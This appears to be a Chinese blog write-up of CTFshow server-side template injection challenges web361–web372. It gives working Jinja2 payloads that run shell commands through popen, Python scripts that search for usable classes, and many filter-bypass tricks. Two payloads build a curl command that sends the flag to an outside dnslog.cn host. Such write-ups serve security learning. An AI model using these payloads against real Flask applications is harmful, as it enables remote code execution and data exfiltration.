LOADING...

dadada~

loading

CTFSHOW-SSTI-WP


web361

  • 第一个ssti,还是很友好滴,啥也没过滤

  • 拥有一个很好用的hackbar还是挺幸福的,直接用hackrbar自带的ssti语句都可以

  • get传参:{{url_for.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}

  • 做法还是很多的,这里再写一个常规一点的:

    • 先是通过__class__获取当前类,通过__base__获取基类

    • 获取基类的子类:__subclasses__(),脚本遍历寻找可利用类:

      import requests
      import tqdm
      
      url = 'http://5570d9a9-3005-4e3d-8058-ddc93807a27b.challenge.ctf.show/'
      for i in tqdm.tqdm(range(200)):
          r = requests.get(url=url+'?name={{"".__class__.__bases__[0].__subclasses__()['+str(i)+']}}')
          if "os._wrap_close" in r.text:
              print(i)
      # 输出132
      
    • payload:?name={{"".__class__.__bases__[0]. __subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

web362

  • payload:?name={{url_for.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
  • 所以过滤了啥
  • 看了大佬的wp说是过滤了数字,可以换成全角数字绕过
  • payload:?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

  • 过滤了单双引号

  • get传参绕过:

    • payload:?name={{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat /flag
    • 或者:?name={{lipsum.__globals__.os.popen(request.args.a).read()}}&a=cat /flag
  • 字符串拼接绕过:

    • 先传入?name={{config}},寻找可利用字符
    • 如:?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}} 等于 ?name={{url_for.__globals__['os']}}
    • 可以写脚本遍历输出想要的字符的下标然后用%2b进行拼接
  • 通过chr拼接:

    • 先找出 chr 函数,通过 chr 拼接

      ?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}
      

web364

  • 过滤了引号和args,所以上一个题后两个方法依然可用,第一种可以把args换成valuescookies
  • payload1:?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag
  • payload2:?name={{lipsum.__globals__.os.popen(request.cookies.a).read()}}Cookie传参:a=cat /flag

web365

  • 上一题的payload还是可以直接用,过滤了单双引号,args,中括号

  • 使用__getitem__ 魔术方法,把中括号转换为括号的形式__bases__[0]=__bases__.__getitem__(0),通过 __getitem__()构造任意字符

  • payload:

    ?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
    >   ).read()}}
    # 即:{{url_for.__globals__.os.popen('cat /flag').read()}}
    

web366

  • 在前边的基础上又过滤了下划线
  • 可以用attr方法:request|attr(request.cookies.a)等价于request['a']
  • 传参绕过:?name={{(lipsum|attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

web367

  • 过滤了os
  • 传参绕过:?name={{(lipsum|attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=cat /flag&b=__globals__&c=os

web368

  • 过滤了{ {,可以使用{ %——(这里{%之间不得不加个空格,不然hexo报错)

  • payload:

    ?name={ % print((lipsum|attr(request.values.b)).get(request.values.c).popen(request.values.a).read())% }&a=cat /flag&b=__globals__&c=os
    

web369

  • ban了request,属于是不给人活路

  • 用 string 过滤器得到 config 字符串:config|string,再转换成列表,config|string|list

  • 用列表的pop方法就可以成功得到某个字符了,使用lower()方法将字符转化为小写

  • 这里抄一个脚本:

    import requests
    
    url = "http://32705783-a30e-4cab-9412-ec453af58a2d.challenge.ctf.show/?name={{% print (config|string|list).pop({" \
    >         "}).lower() %}} "
    
    payload = "cat /flag"
    result = ""
    for j in payload:
        for i in range(0, 1000):
            r = requests.get(url=url.format(i))
            location = r.text.find("<h3>")
            word = r.text[location + 4:location + 5]
            if word == j.lower():
                print("(config|string|list).pop(%d).lower() == %s" % (i, j))
                result += "(config|string|list).pop(%d).lower()~" % i
                break
    print(result[:len(result) - 1])
    
  • 字符串拼接绕过:

    # 构造a等价于下划线_
    {% set a=(()|select|string|list).pop(24) %}
    {% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
    {% set init=(a,a,dict(init=1)|join,a,a)|join %}
    {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
    {% set a=(lipsum|attr(globals)).get(builtins) %}
    {% set chr=a.chr %}
    {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
    # 相当于lipsum.__globals__['__builtins__'].open('/flag').read()
    
  • payload:

    ?name={% set a=(()|select|string|list).pop(24) %}
    {% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
    {% set init=(a,a,dict(init=1)|join,a,a)|join %}
    {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
    {% set a=(lipsum|attr(globals)).get(builtins) %}
    {% set chr=a.chr %}
    {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
    

web370

  • 过滤了数字,可以使用(dict(bb=a)|join|count)绕过,有几个b就返回几个数字,然后进行字符串拼接

  • payload:

    ?name={% set c=(dict(e=a)|join|count)%}
    {% set cc=(dict(ee=a)|join|count)%}
    {% set ccc=(dict(eee=a)|join|count)%}
    {% set cccc=(dict(eeee=a)|join|count)%}
    {% set ccccccc=(dict(eeeeeee=a)|join|count)%}
    {% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
    {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
    {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
    {% set coun=(cc~cccc)|int%}
    {% set po=dict(po=a,p=a)|join%}
    {% set a=(()|select|string|list)|attr(po)(coun)%}
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% set chr=x.chr%}
    {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
    {%print(x.open(file).read())%}
    
  • 或者还可以把半角数字换成全角数字绕过(抄一个转换为全角数字的脚本):

    def half2full(half):
        full = ''
        for ch in half:
            if ord(ch) in range(33, 127):
                ch = chr(ord(ch) + 0xfee0)
            elif ord(ch) == 32:
                ch = chr(0x3000)
            else:
                pass
            full += ch
        return full
    while 1:
          t = ''
          s = input("输入想要转换的数字字符串:")
          for i in s:
              t += half2full(i)
          print(t)
    # 全角 = 半角 + 0xfee0
    
  • payload:

    ?name={% set a=(()|select|string|list).pop(24) %}
      {% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
      {% set init=(a,a,dict(init=1)|join,a,a)|join %}
      {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
      {% set a=(lipsum|attr(globals)).get(builtins) %}
      {% set chr=a.chr %}
      {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
    

web371

  • 过滤 print 关键字,flag 不会回显,可以用curl命令将flag带出来

  • 数字范围为可见字符的 ascii 码值,所以数字还要用上一题的第一个方法进行拼接

  • 使用dnslog回显

    ?name={%set a=dict(po=aa,p=aa)|join%}
    {%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}
    {%set k=dict(eeeeeeeee=a)|join|count%}
    {%set l=dict(eeeeeeee=a)|join|count%}
    {%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
    {%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}
    {%set b=(lipsum|string|list)|attr(a)(j)%}
    {%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
    {%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
    {%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
    {%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
    {%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
    {%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
    {%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(uwtdnm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
    {%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}lalala{%endif%}
    
  • 感动,dnslog竟然好用了,摇了半天摇出来一个没有数字的地址

web372

  • 过滤了count

  • 直接用length替换掉,dnslog刷新,payload:

    ?name={%set a=dict(po=aa,p=aa)|join%}
    {%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}
    {%set k=dict(eeeeeeeee=a)|join|length%}
    {%set l=dict(eeeeeeee=a)|join|length%}
    {%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}
    {%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}
    {% set b=(lipsum|string|list)|attr(a)(j)%}
    {%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
    {%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
    {%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
    {%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
    {%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
    {%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
    {%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(uwtdnm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
    {%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}lalala{%endif%}
    

大佬们的wp:

ctfshow SSTI web361-web372 wp

CTFSHOW SSTI篇

CTFshow刷题日记-WEB-SSTI(web361-372)